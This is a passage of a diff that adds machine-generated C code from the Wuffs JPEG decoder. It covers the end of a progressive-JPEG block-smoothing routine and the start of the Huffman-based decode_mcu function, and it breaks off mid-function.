wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } else { ++ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } ++ self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); ++ } ++ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u]; ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); ++ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { ++ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } else { ++ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } ++ self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); ++ } ++ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u]; ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); ++ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { ++ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } else { ++ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } ++ self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); ++ } ++ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u]; ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); ++ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { ++ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } else { ++ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } ++ self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); ++ } ++ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u]; ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); ++ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { ++ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } else { ++ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } ++ self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); ++ } ++ } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.decode_mcu ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ return (*self->private_impl.choosy_decode_mcu)(self, a_dst, a_workbuf, a_mx, a_my); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu__choosy_default( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ uint32_t v_ret = 0; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint8_t v_csel = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint32_t v_pos = 0; ++ uint8_t v_dc_h = 0; ++ uint32_t v_dc_symbol = 0; ++ uint32_t v_dc_ht_fast = 0; ++ uint32_t v_dc_bl = 0; ++ uint32_t v_dc_code = 0; ++ uint32_t v_dc_blm1 = 0; ++ uint32_t v_dc_ht_slow = 0; ++ uint16_t v_dc_value = 0; ++ uint16_t v_dc_extend = 0; ++ const uint16_t* v_ac_huff_table_fast = NULL; ++ uint8_t v_ac_h = 0; ++ uint32_t v_ac_symbol = 0; ++ uint32_t v_ac_ht_fast = 0; ++ uint32_t v_ac_bl = 0; ++ uint32_t v_ac_code = 0; ++ uint32_t v_ac_blm1 = 0; ++ uint32_t v_ac_ht_slow = 0; ++ uint16_t v_ac_value = 0; ++ uint16_t v_ac_extend = 0; ++ uint32_t v_ac_rrrr = 0; ++ uint32_t v_ac_ssss = 0; ++ uint32_t v_z = 0; ++ uint32_t v_mcb = 0; ++ uint64_t v_stride = 0; ++ uint64_t v_offset = 0; ++ ++ v_bits = self->private_impl.f_bitstream_bits; ++ v_n_bits = self->private_impl.f_bitstream_n_bits; ++ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { ++ return 2u; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi), ++ ((uint64_t)(self->private_impl.f_bitstream_ri))); ++ do { ++ while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { ++ while (self->private_impl.f_mcu_zig_index <= 0u) { ++ wuffs_private_impl__bulk_memset(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, 0u); ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; ++ v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); ++ v_dc_bl = (v_dc_ht_fast >> 8u); ++ if (v_n_bits >= v_dc_bl) { ++ v_dc_symbol = (15u & v_dc_ht_fast); ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ v_bits <<= (v_dc_bl & 63u); ++ v_n_bits -= v_dc_bl; ++ } else { ++ v_dc_code = ((uint32_t)((v_bits >> 55u))); ++ v_dc_blm1 = 8u; ++ v_bits <<= 9u; ++ v_n_bits -= 9u; ++ while (true) { ++ v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; ++ if (v_dc_code < (v_dc_ht_slow >> 8u)) { ++ v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ break; ++ } ++ v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); ++ if (v_dc_blm1 == 0u) { ++ v_dc_symbol = 0u; ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ break; ++ } ++ } ++ } ++ v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_dc_value += ((uint16_t)(v_dc_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_dc_symbol; ++ v_n_bits -= v_dc_symbol; ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_data.f_mcu_blocks[0u][0u] = self->private_impl.f_mcu_previous_dc_values[v_csel]; ++ self->private_impl.f_mcu_zig_index = 1u; ++ break; ++ } ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ if (v_n_bits < 16u) { ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ } ++ v_z = 1u; ++ self->private_impl.f_mcu_zig_index = 0u; 